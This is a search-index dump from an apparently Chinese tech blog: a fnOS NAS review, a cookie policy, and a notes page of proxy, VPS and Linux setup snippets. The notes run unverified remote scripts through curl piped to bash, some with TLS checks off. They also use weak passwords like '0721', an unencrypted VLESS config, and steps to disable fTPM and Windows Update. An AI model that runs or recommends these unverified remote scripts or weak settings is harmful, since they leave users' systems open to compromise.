飞牛NAS在安装的时候会叫你选择安装盘，然后会将安装盘的一部分空间（默认为64GB）作为系统分区，其余空间可用于创建存储空间（但是系统盘不能和别的盘组存储池，只能单独建存储池） 应用商店安装的软件需要先授予目录访问权限应用才能读取目录（无论是原生还是Docker应用） 发行版为Debian 12。根目录为系统分区的空间，/vol1 为存储空间1的空间 /vol2 为存储空间2的空间。推荐使用RaiDrive或SSHFS挂载Linux目录到Windows SSH需要自己开，账密为NAS管理员账密，建议登上之后改为仅密钥登录，参见：设置 SSH 通过密钥登录 各网卡测试\n名称 类型 品牌 是否免驱 Realtek GBE Family （r8168） 有线 Realtek（瑞昱） 否，需要自行安装驱动 Realtek 8852BE 无线 Realtek（瑞昱） 否，需要自行安装驱动 Intel AC3160 无线 Intel（英特尔） 是 USB有线网卡 有线 Realtek（瑞昱） 是 各存储模式区别\n模式 作用 是否能扩容 是否能换盘 容灾 是否能热备 是否能修改存储模式 Basic 将物理硬盘的一部分或者全部作为一个存储池，不可扩容，仅能单盘创建这个模式 否 否 无 否 是，可转为RAID Linear 将一个或多个物理硬盘的一部分或者全部作为一个存储池，可扩容 是 否 无 否 否 RAID类 自行使用搜索引擎搜索，更详细 未测试 未测试 未测试 未测试 未测试 NAS迅雷内测码：迅雷牛通 ","permalink":"https://blog.2x.nz/posts/fnos/","summary":"\u003ch3 id=\"吸引我的东西\"\u003e吸引我的东西\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e影视刮削：飞快，薄纱Plex几条街。通过\u003ca href=\"/posts/autobangumi/\"\u003eAutoBangumi\u003c/a\u003e可以完美自动追番+刮削一条龙服务。偶尔会有不准，但可以手动匹配，数据源来自\u003ca href=\"https://www.themoviedb.org/\"\u003eTMDB\u003c/a\u003e和\u003ca href=\"https://www.imdb.com/\"\u003eIMDB\u003c/a\u003e\n\u003cimg alt=\"QmbNXd4FJ8FM8mwkKxJNdBoNbvhawJ2HdSvW5tFUt3o4ub.webp\" loading=\"lazy\" src=\"/posts/fnos/img/f1bd7089efdf00097d5474ef967a62dcfca42e98.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e相册：可以通过手机APP自动备份，支持仅备份图片，可以多用户使用，存储互不干扰，也可以设置要共享的图片\n\u003cimg alt=\"QmeLJ7in4xcokPWUgkkSobDLUTrFrXep2o38qUXQ1njQR9.webp\" loading=\"lazy\" src=\"/posts/fnos/img/2f9981f8397cc1278807ed28f8a2e15954868fec.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"注意事项\"\u003e注意事项\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e飞牛NAS在安装的时候会叫你选择安装盘，然后会将安装盘的一部分空间（默认为64GB）作为系统分区，其余空间可用于创建存储空间（但是系统盘不能和别的盘组存储池，只能单独建存储池）\n\u003cimg alt=\"QmNfRbvHu1fuYoincACcP2MG4yV4pgRni3rb4Y9J7uw4FW.webp\" loading=\"lazy\" src=\"/posts/fnos/img/6403ef19d941abdc93d8c7da01364a8983c98109.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e应用商店安装的软件需要先授予目录访问权限应用才能读取目录（无论是原生还是Docker应用）\n\u003cimg alt=\"QmP4unAVra1zy7gkjEzSCYEDAJMMe1BVWPKoVyjYv8b9Ho.webp\" loading=\"lazy\" src=\"/posts/fnos/img/79af3b25d8b677b2718c953c0d431ead2f137e1d.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e发行版为Debian 12。根目录为系统分区的空间，/vol1 为存储空间1的空间 /vol2 为存储空间2的空间。推荐使用\u003ca href=\"https://onani.cn/RaiDrive\"\u003eRaiDrive\u003c/a\u003e或\u003ca href=\"/posts/sshfs/\"\u003eSSHFS\u003c/a\u003e挂载Linux目录到Windows\n\u003cimg alt=\"QmWMQHNpJUUPg9B1Hdw2zmwLx9q6bcS52nUFiB3P9iYvU9.webp\" loading=\"lazy\" src=\"/posts/fnos/img/d4ec6f87893f4af5d7eedb2e2a19a784fd6c6f92.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSSH需要自己开，账密为NAS管理员账密，建议登上之后改为仅密钥登录，参见：\u003ca href=\"https://www.runoob.com/w3cnote/set-ssh-login-key.html\"\u003e设置 SSH 通过密钥登录\u003c/a\u003e\n\u003cimg alt=\"QmTk3va2NCbYTcVewVjuqjGx6MwMwiUnManrNwxvEq4SBR.webp\" loading=\"lazy\" src=\"/posts/fnos/img/9f92130465ab62e912b7404266febc7212e2125b.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e各网卡测试\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: center\"\u003e名称\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e类型\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e品牌\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e是否免驱\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eRealtek GBE Family （r8168）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e有线\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eRealtek（瑞昱）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e否，需要自行安装驱动\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eRealtek 8852BE\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e无线\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eRealtek（瑞昱）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e否，需要自行安装驱动\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eIntel AC3160\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e无线\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eIntel（英特尔）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e是\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eUSB有线网卡\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e有线\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eRealtek（瑞昱）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e是\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e各存储模式区别\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: center\"\u003e模式\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e作用\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e是否能扩容\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e是否能换盘\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e容灾\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e是否能热备\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e是否能修改存储模式\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eBasic\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e将物理硬盘的一部分或者全部作为一个存储池，不可扩容，仅能单盘创建这个模式\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e否\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e否\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e无\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e否\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e是，可转为RAID\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eLinear\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e将一个或多个物理硬盘的一部分或者全部作为一个存储池，可扩容\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e是\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e否\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e无\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e否\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e否\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eRAID类\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e自行使用搜索引擎搜索，更详细\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e未测试\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e未测试\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e未测试\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e未测试\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e未测试\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003col start=\"7\"\u003e\n\u003cli\u003eNAS迅雷内测码：迅雷牛通\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"飞牛NAS玩机体验"},{"content":"All Cookies Strictly necessary cookies（必要的cookies） Cloudflare Analytics：收集站点的基本访问情况 Umami：收集站点的基本访问情况，并对外显示浏览量 Giscus：提供评论功能 Functionality cookies（功能性cookies） 无 Tracking cookies（追蹤cookies） 百度统计：收集站点的基本访问情况 Google Analytics：收集站点访问情况 Microsoft Clarity：收集站点访问情况 Targeting and advertising cookies（定位和廣告cookies） Google Adsense：提供广告服务 latest update: 2026/02/04\n","permalink":"https://blog.2x.nz/posts/privacy-policy/","summary":"\u003ch1 id=\"all-cookies\"\u003eAll Cookies\u003c/h1\u003e\n\u003ch3 id=\"strictly-necessary-cookies必要的cookies\"\u003eStrictly necessary cookies（必要的cookies）\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.cloudflare.com/analytics/\"\u003eCloudflare Analytics\u003c/a\u003e：收集站点的基本访问情况\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://umami.acofork.com\"\u003eUmami\u003c/a\u003e：收集站点的基本访问情况，并对外显示浏览量\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://giscus.app\"\u003eGiscus\u003c/a\u003e：提供评论功能\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"functionality-cookies功能性cookies\"\u003eFunctionality cookies（功能性cookies）\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e无\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"tracking-cookies追蹤cookies\"\u003eTracking cookies（追蹤cookies）\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tongji.baidu.com/\"\u003e百度统计\u003c/a\u003e：收集站点的基本访问情况\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://analytics.google.com\"\u003eGoogle Analytics\u003c/a\u003e：收集站点访问情况\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://clarity.microsoft.com\"\u003eMicrosoft Clarity\u003c/a\u003e：收集站点访问情况\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"targeting-and-advertising-cookies定位和廣告cookies\"\u003eTargeting and advertising cookies（定位和廣告cookies）\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://adsense.google.com/\"\u003eGoogle Adsense\u003c/a\u003e：提供广告服务\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cem\u003elatest update: 2026/02/04\u003c/em\u003e\u003c/p\u003e","title":"隐私政策"},{"content":"zt重置设备ID 在 ZeroTier 中，如果你通过克隆 VM 或复制系统镜像导致 设备 ID（Node ID）重复，需要重置设备 ID。ZeroTier 的设备 ID 是基于本机生成的私钥，无法在软件内直接修改，但可以通过以下方法重置：\n方法 1：在 Linux / Debian 上重置\n停止 ZeroTier 服务：\nsudo systemctl stop zerotier-one 删除本地身份文件（Node ID）：\nsudo rm -rf /var/lib/zerotier-one/identity.* 注意：identity.* 文件包含你的 Node ID，如果删除，ZeroTier 会生成新的 Node ID。\n启动 ZeroTier 服务：\nsudo systemctl start zerotier-one r2.py所需依赖 pip install keyboard pyperclip pillow boto3 pyautogui ShellClash 用于在Linux上使用CLI来进行正向代理。通过导入标准的Clash config.yaml 来实现\nhttps://github.com/juewuy/ShellCrash\nTg通知频道：https://t.me/ShellClash\nbash -c \u0026#34;$(curl -kfsSl https://r2.072103.xyz/shellclash.sh)\u0026#34; \u0026amp;\u0026amp; source /etc/profile \u0026amp;\u0026gt; /dev/null 打开CLI：clash、crash 导入配置文件：6-2 安装本地Web面板：9-4-1 开机自启：4-1\nVless通用配置（不加密） { \u0026#34;inbounds\u0026#34;: [ { \u0026#34;port\u0026#34;: 1080, // 监听端口，可以根据需要修改 \u0026#34;protocol\u0026#34;: \u0026#34;vless\u0026#34;, // 使用 VLESS 协议 \u0026#34;settings\u0026#34;: { \u0026#34;clients\u0026#34;: [ { \u0026#34;id\u0026#34;: \u0026#34;0721-07210721onani\u0026#34;, // 这里是一个 UUID，用于识别用户 \u0026#34;level\u0026#34;: 0, // 用户等级，设置为 0 表示普通用户 \u0026#34;email\u0026#34;: \u0026#34;user@example.com\u0026#34; // 用户邮箱（可选） } ], \u0026#34;decryption\u0026#34;: \u0026#34;none\u0026#34; // 设置为 none，表示没有加密 }, \u0026#34;streamSettings\u0026#34;: { \u0026#34;network\u0026#34;: \u0026#34;tcp\u0026#34;, // 使用 TCP 网络 \u0026#34;security\u0026#34;: \u0026#34;none\u0026#34; // 不使用加密，适用于 VLESS } } ], \u0026#34;outbounds\u0026#34;: [ { \u0026#34;protocol\u0026#34;: \u0026#34;freedom\u0026#34;, // 允许自由流量通过 \u0026#34;settings\u0026#34;: {} } ], \u0026#34;routing\u0026#34;: { \u0026#34;rules\u0026#34;: [] } } AMD笔记本优化 目标：关闭fTPM并且禁止系统重新安装、关闭Windows自动更新\n关闭fTPM： 组策略编辑器：计算机配置 - 管理模板 - 系统 - 设备安装 - 设备安装限制 - 阻止安装与下列任何设备实例 ID 相匹配的设备 填写：设备管理器中的受信任的平台模块 2.0 的详细信息 - 设备实例路径中的值 关闭Windows自动更新：计算机配置 - 管理模板 - Windows组件 - Windows更新中的： 配置自动更新 - 已禁用 删除所有使用Windows更新功能的访问权限 - 已启用 不要连接任何Windows更新Internet位置 - 已启用 Windows更新不包括驱动更新 - 已启用 VPS融合怪测试脚本 bash \u0026lt;(curl -sL kejilion.sh) 融合怪测试：8-32 IP纯净度测试：8-4 哪吒探针Cloudflare版 https://github.com/yumusb/nezha-new\nVPS一键魔法脚本 Hysteria2（UDP）：\nbash \u0026lt;(curl -fsSL https://raw.githubusercontent.com/0x0129/hysteria2/main/install.sh) -port 0721 Vless+Trojan+Shadowsocks：\nbash \u0026lt;(curl -s -L https://git.io/v2ray.sh) x-ui：\nbash \u0026lt;(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh) Hysteria2 服务端搭建（全平台通用） 下载 Hysteria2 可执行文件： https://github.com/apernet/hysteria/releases\n创建自签名SSL/TLS证书：\n创建私钥：openssl genpkey -algorithm RSA -out hy2.key 创建证书签名请求：openssl req -new -key hy2.key -out hy2.csr 创建证书：openssl x509 -req -in hy2.csr -signkey hy2.key -out hy2.crt -days 9999 config.yaml：\nlisten: :443 tls: cert: hy2.crt key: hy2.key auth: type: password password: 0721 masquerade: type: proxy proxy: url: https://news.ycombinator.com/ rewriteHost: true 启动 Hysteria2参数：server\nV2Ray客户端连接直链：\nhysteria2://0721@10.147.17.1:443?sni=bing.com\u0026amp;insecure=1#家里云 Cloudflare一键魔法 下载 https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到Cloudflare Pages设置UUID。访问 https://你的域名.pages.dev/UUID\nCloudflare 优选方法 A、AAAA、CNAME B域名直接套CDN指向源站 B域名开启SaaS，设置回退源为指向源站的域名，自定义主机名为A域名 B域名指向优选域名，不套CDN A域名指向B域名指向的优选域名的域名 ，不套CDN Cloudflare Pages 直接在Pages创建自定义域 更改子域NS到阿里云云解析DNS 在阿里云云解析DNS设置解析分流 Cloudflare Workers 直接在Workers创建路由，如：example.com/* 将被设置路由的域名解析到优选域名 Cloudflare 优选域名 二叉树树自用： fenliu.072103.xyz\nCM大佬： cf.090227.xyz\n微测网：cloudflare.182682.xyz\n魔法软件 Windows：\nhttps://github.com/2dust/v2rayN\nLinux：\nhttps://github.com/2dust/v2rayNG\n使用Cloudflared中继RDP流量 cloudflared access rdp --hostname rdp.onani.cn --url rdp://localhost:3380 FRP相关 FRP基本认证参数 auth.token = \u0026#34;07210721\u0026#34; FRP systemd服务配置（开机自启） https://gofrp.org/zh-cn/docs/setup/systemd/\nLinux Deb系安装Speedtest-cli apt install -y lsb-release ca-certificates apt-transport-https curl gnupg dpkg curl -sSL https://packagecloud.io/ookla/speedtest-cli/gpgkey | gpg --dearmor \u0026gt; /usr/share/keyrings/speedtest.gpg echo \u0026#34;deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/speedtest.gpg] https://packagecloud.io/ookla/speedtest-cli/debian/ $(lsb_release -sc) main\u0026#34; \u0026gt; /etc/apt/sources.list.d/speedtest.list apt update apt install -y speedtest Linux监控面版： apt install s-tui Windows超级牛逼包管理器：https://scoop.sh Linux各发行版安装注意 非常新的版本一般才会有Realtek有线网卡的驱动 安装Debian要使用CLI安装（GUI安装会出现问题 具体的问题我忘了） 安装CentOS/Rocky一定要先安装GUI，否则会导致上不了网 除了Arch连接网络使用iwd，其他发行版都可以用nmcli连接网络 国内Linux镜像注意事项 USTC（中科大源）经常会用JavaScript进行客户端验证，会导致wget和curl命令无法正确下载到文件绕过USTC的浏览器JS验证 | AcoFork Blog。建议使用TUNA（清华源） 国内Docker镜像 1Panel Docker监控：https://status.1panel.top/status/docker 南京大学GHCR镜像源：https://ghcr.nju.edu.cn 安徽财贸职业学院教务学生正确入口（课表导入） https://authserver.afc.edu.cn/authserver/login\n","permalink":"https://blog.2x.nz/posts/record/","summary":"\u003ch1 id=\"zt重置设备id\"\u003ezt重置设备ID\u003c/h1\u003e\n\u003cp\u003e在 ZeroTier 中，如果你通过克隆 VM 或复制系统镜像导致 设备 ID（Node ID）重复，需要重置设备 ID。ZeroTier 的设备 ID 是基于本机生成的私钥，无法在软件内直接修改，但可以通过以下方法重置：\u003c/p\u003e\n\u003cp\u003e方法 1：在 Linux / Debian 上重置\u003c/p\u003e\n\u003cp\u003e停止 ZeroTier 服务：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo systemctl stop zerotier-one\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e删除本地身份文件（Node ID）：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo rm -rf /var/lib/zerotier-one/identity.*\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注意：identity.* 文件包含你的 Node ID，如果删除，ZeroTier 会生成新的 Node ID。\u003c/p\u003e\n\u003cp\u003e启动 ZeroTier 服务：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo systemctl start zerotier-one\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"r2py所需依赖\"\u003er2.py所需依赖\u003c/h1\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epip install keyboard pyperclip pillow boto3 pyautogui\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"shellclash\"\u003eShellClash\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e用于在Linux上使用CLI来进行正向代理。通过导入标准的Clash \u003ccode\u003econfig.yaml\u003c/code\u003e 来实现\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/juewuy/ShellCrash\"\u003ehttps://github.com/juewuy/ShellCrash\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eTg通知频道：https://t.me/ShellClash\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebash -c \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003ecurl -kfsSl https://r2.072103.xyz/shellclash.sh\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e source /etc/profile \u0026amp;\u0026gt; /dev/null\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e打开CLI：clash、crash\n导入配置文件：6-2\n安装本地Web面板：9-4-1\n开机自启：4-1\u003c/p\u003e","title":"记录"}]